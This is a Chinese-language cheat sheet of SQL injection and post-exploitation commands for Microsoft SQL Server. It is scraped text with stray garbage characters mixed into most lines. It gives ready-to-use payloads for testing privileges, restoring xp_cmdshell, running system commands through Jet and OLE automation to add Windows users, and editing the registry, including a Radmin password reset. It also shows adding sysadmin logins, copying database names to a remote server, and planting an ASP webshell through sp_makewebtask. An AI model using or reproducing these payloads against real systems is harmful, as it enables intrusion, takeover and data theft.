//看看是什么权限的
0 w) ]' c+ ^- x' X; U( fand 1=(Select IS_MEMBER('db_owner'))
% o; h6 Q8 x! t! ]" |# sAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
) M# v7 z/ q3 E8 s( C) z
7 B3 B0 O1 N% T* v//检测是否有读取某数据库的权限
- T! w9 ~5 p7 Dand 1= (Select HAS_DBACCESS('master'))
) I; ~! m3 E0 qAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --" p% J. y5 N# _. \ N6 h9 C9 {9 @
2 f" l2 R' Q' a# G3 A
: ^& }4 i" {+ Y0 `: G8 [6 S, M3 V) c数字类型+ ^! h# ?3 ^, r# L7 z
and char(124)%2Buser%2Bchar(124)=0! V. N+ ]( w( Y' R/ V' L; {
o1 o& {3 p: e8 `/ c w/ M7 W
字符类型9 I! C" n/ U' y1 E& r# _: }% ?
' and char(124)%2Buser%2Bchar(124)=0 and ''='3 t) f2 n6 _4 W( h8 ~
! p% s& e: w# ]. l/ o
搜索类型& K1 G9 f; e3 H: L9 Z. a$ | K5 t
' and char(124)%2Buser%2Bchar(124)=0 and '%'='4 c% n5 P, }- I
' h+ Y, e6 t$ t( t! V3 ~* H
爆用户名2 k* A) q( c9 E' o' T! K3 e! c
and user>0; w' @0 Z* z5 _& r- c$ K5 W7 m) q# H
' and user>0 and ''='- f3 ^9 f% _# B; w
4 B% z$ g$ z4 G4 _: u检测是否为SA权限
2 L P) B6 G8 s* e- b: u8 Nand 1=(select IS_SRVROLEMEMBER('sysadmin'));--' q0 t D W6 |8 m7 ?; c
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --: V4 u( V0 T3 j9 d1 z' `
& l* T) W0 {" S: E/ E
检测是不是MSSQL数据库! @: M5 P$ u. {! R# v+ {
and exists (select * from sysobjects);--2 w: m K d2 t- T2 [
/ ?" v) n4 p. s8 v6 _3 k检测是否支持多行
- n# ?# v0 Z5 e# U;declare @d int;--! F: O6 ?9 Q1 I$ q9 l1 W0 H
, N8 A/ l& C! w3 x' t恢复 xp_cmdshell
/ g+ ^3 J5 g' c: S( j1 I;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--) D) n/ \9 \& K* [! H% ~ Z
8 e7 i/ G2 K8 j8 Z# [
: o9 @2 t' t# [5 j+ p7 N. @select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
9 P% F; C3 c7 A+ a' q+ `* b# t. j0 _+ s/ P
//-----------------------
* e! S8 E2 k1 ~# C3 }// 执行命令1 f$ H8 Q T. P" A
//-----------------------
+ ?/ ^5 }5 |. i5 }首先开启沙盘模式:
% D% Q* C% s4 t, d3 qexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1: J, \: V; q3 W) t6 z* v! u
! u- b# _* N: F& m% d& o8 S+ h
然后利用jet.oledb执行系统命令, h k: o. {' ?0 E, ^7 t. A: @
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')+ [7 p3 K7 G h% y$ u# a, [1 w/ a+ n
! L! b& G% b2 U! |执行命令' i8 a; I3 R: _
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--! q0 m" ~+ c7 j6 I0 M* M) U0 ~" }
- e! s b' T1 i3 ^EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111') o q& i" s% q3 q
0 c; }2 S M) Y判断xp_cmdshell扩展存储过程是否存在:
. B+ I( Q1 H' r7 |/ Dhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
# w- D/ @& d+ V( y) n8 D8 i2 W( P3 ]9 { D1 @6 N/ x, _* n) o/ N
写注册表
4 R# ?' j+ u6 n# a! d+ `exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) ~- K) s3 H. G2 C$ \& a1 W. {% Y6 j; B0 a+ S, n
REG_SZ
. B" _' k- l% K8 n4 O8 P0 M6 O& f& A$ w
* R8 m( T: y% n1 }, G" ^' a! L' U! v读注册表
* C/ [# B% K3 \" ^8 R4 X A! aexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'' i$ M" D' J" x+ c. m* q& v# M
' {0 ?1 |& I, D' B2 l5 b& \
读取目录内容
" L& H" e' O6 w5 h! `' l, ]8 ^( e" bexec master..xp_dirtree 'c:\winnt\system32\',1,1
, e, u: t; j5 d% L1 k
' t8 m# }3 W: H- ~2 {* |" h* e, Y! A
数据库备份4 S: Q* r4 ^, h
backup database pubs to disk = 'c:\123.bak'9 m! M+ [1 S3 e2 [
- i% w* M* W* d& E1 ~# [
//爆出长度4 I' e& G+ D) A3 m* w# z' a
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
. b% L) v/ F5 {' K9 y. ]/ @0 \2 }: K. {- ^
: b0 i: F+ h$ H" u3 T8 l6 t3 n$ }! u5 D$ Y. O
更改sa口令方法:用sql综合利用工具连接后,执行命令:1 S4 W3 L7 Y$ y+ F/ j5 y
exec sp_password NULL,'新密码','sa'4 w1 W7 X- ^; m2 c! x) t" L( F# V; m
( ~8 W( R6 K* u& Z
添加和删除一个SA权限的用户test:$ h- i* q% ]( B8 \' }! _' |% C
exec master.dbo.sp_addlogin test,9530772
: ^% x7 X, r2 m* k2 v4 Bexec master.dbo.sp_addsrvrolemember test,sysadmin
+ e2 s7 V( A7 i- e, {
# s& y; G5 d5 ~6 X5 L删除扩展存储过过程xp_cmdshell的语句:
& ^9 k' |. G9 H7 X: }* Kexec sp_dropextendedproc 'xp_cmdshell'
- h2 G4 N' |% _3 t0 O4 V6 U5 h, Q7 a4 K1 u1 g6 B
添加扩展存储过过程 k$ Y' {( v7 O
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'( ~1 e$ U$ b5 o, R3 _) ~! X
GRANT exec On xp_proxiedadata TO public
* n) y" `$ P4 b" X1 F6 l
; z" ]5 a7 {! ~5 @9 a9 ?5 h/ e& v4 X# Y1 u4 O2 M; A
停掉或激活某个服务。 w2 O( y7 n- | J% O) N5 b
9 C, C# y6 v; ?: ^ X
exec master..xp_servicecontrol 'stop','schedule'
% D8 P2 P. g/ n! S. hexec master..xp_servicecontrol 'start','schedule'' u- Q6 C- _, ]4 P, i2 P n
- v+ P% N! ]( ~9 ?) n# I
dbo.xp_subdirs
3 X" m1 T2 [" e$ W- U( C/ j |% \. {, W/ p8 v
只列某个目录下的子目录。% c& Q1 @/ p& ]: D
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'/ }4 m" q. N9 v; O; u# t
7 l( [. t' Y- R4 {
dbo.xp_makecab) n) S9 O' U \, ~ d" c+ W) k
8 Y' u; N- L. Q' M
将目标多个档案压缩到某个目标档案之内。
$ Y. ], ~7 F. d; h所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
* | a" h/ a% t/ [8 I0 a$ F
+ y3 c/ |( B# f$ n- i) O) J& gdbo.xp_makecab
/ Z6 F7 y2 S6 g, P* B'c:\test.cab','mszip',1,
h3 [9 k0 M9 x5 \5 e2 ^* t3 N5 T! e'C:\Inetpub\wwwroot\SQLInject\login.asp',9 j0 p3 X9 o3 I' i
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'1 D0 C% Z% v+ v' j% A
/ `0 f: d& Y; B% T. B% u: w: i
xp_terminate_process
, E3 a& M, S7 G, e; g" c* h, \$ G* w9 `. n3 S- i& F
停掉某个执行中的程序,但赋予的参数是 Process ID。
& J3 R& \( _! j1 F, A5 o) D T利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
% k* y7 ?9 J) ]- h8 L7 G' h2 u& k
xp_terminate_process 24843 T4 d+ V- F2 e2 k! o
2 w1 E1 l: ~' v6 w: o( A9 zxp_unpackcab/ H, @/ n4 |# E% t) D0 d
/ G1 D; F8 b) v. x/ q- T5 P
解开压缩档。0 q- u0 S3 S, C
5 [+ c/ Z* y) r* F: b. T: Z
xp_unpackcab 'c:\test.cab','c:\temp',19 `2 u9 U. B& C
* ?$ ?. f9 V- ?
$ h8 N! w- h. i2 x
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
$ |% h, p" q9 n3 w* F# Y4 A. V) A* x) [ p6 [+ }; Z. e3 Z; Y
create database lcx;
) C+ ]& i# ]( y7 dCreate TABLE ku(name nvarchar(256) null);( q& [ K) s+ ~0 u/ `- j) ~! I
Create TABLE biao(id int NULL,name nvarchar(256) null);3 D7 W; Y+ g8 U a! H6 s+ v
; z3 ?! W2 L/ S+ j t
//得到数据库名6 h# X3 _2 X1 H( p8 F- x0 B! i/ P
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases/ b" Z+ ]" a1 O, Q* n& n; @
( O/ x5 {' d$ {3 y4 s- j$ _% _
//在Master中创建表,看看权限怎样
' t8 A, R0 u2 R" Q% jCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
) k A- B( B' o, c' `! F: J$ t' W, U& W& y
用 sp_makewebtask直接在web目录里写入一句话马:
) d' G P7 x: q8 [+ X Hhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--: R2 K- `; k0 G( P- Q/ Q6 t
9 O5 c) [+ X8 a: W2 F
//更新表内容. [6 \( t: S, b) j& @$ N! V$ ?
Update films SET kind = 'Dramatic' Where id = 123" Y( E3 Y9 X6 s
7 M5 r% Y" B* Q6 F6 M' O1 r) @//删除内容
9 ^( y5 r# v9 L8 a, N+ }delete from table_name where Stockid = 3 |